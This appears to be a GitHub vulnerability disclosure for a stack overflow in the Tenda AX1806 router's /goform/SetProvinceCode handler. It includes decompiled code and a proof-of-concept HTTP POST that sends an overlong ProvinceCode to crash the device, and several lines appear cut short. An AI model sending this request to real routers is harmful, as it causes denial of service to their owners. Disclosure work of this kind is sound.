c0rn-0x2d1 Update README_zh.md ... on Feb 9 History

..

image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetProvinceCode` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack overflow vulnerability in the `formSetProvince` function.

The `v2` variable is obtained directly from the http request parameter `ProcinceCode`.

Then this function uses `sprintf(... , "%s" , ...)` to copy the string pointed by `v2` into a stack buffer pointed by `s`.

```
memset(s, 0, 0x40u);
v2 = webgetvar(a1, (int)"ProvinceCode", (int)"0");
SetValue("product.province.code", v2);
sprintf(s, "op=%d,string_info=%s", 0, v2);
printf("[tdhttpd] [%s] [%d] module_id=%d parm = [%s]\n", "formSetProv:
send_msg_to_netctrl(37, s);
return sub_2FA58(a1, "{\"errCode\":\"0\"}");
```

So it caused stack overflow, by POSTing the page `/goform/SetProvinceCode` with long `ProvinceCode` , the attacker can easily perform a

Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
POST /goform/SetProvinceCode HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 1417

ProvinceCode=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```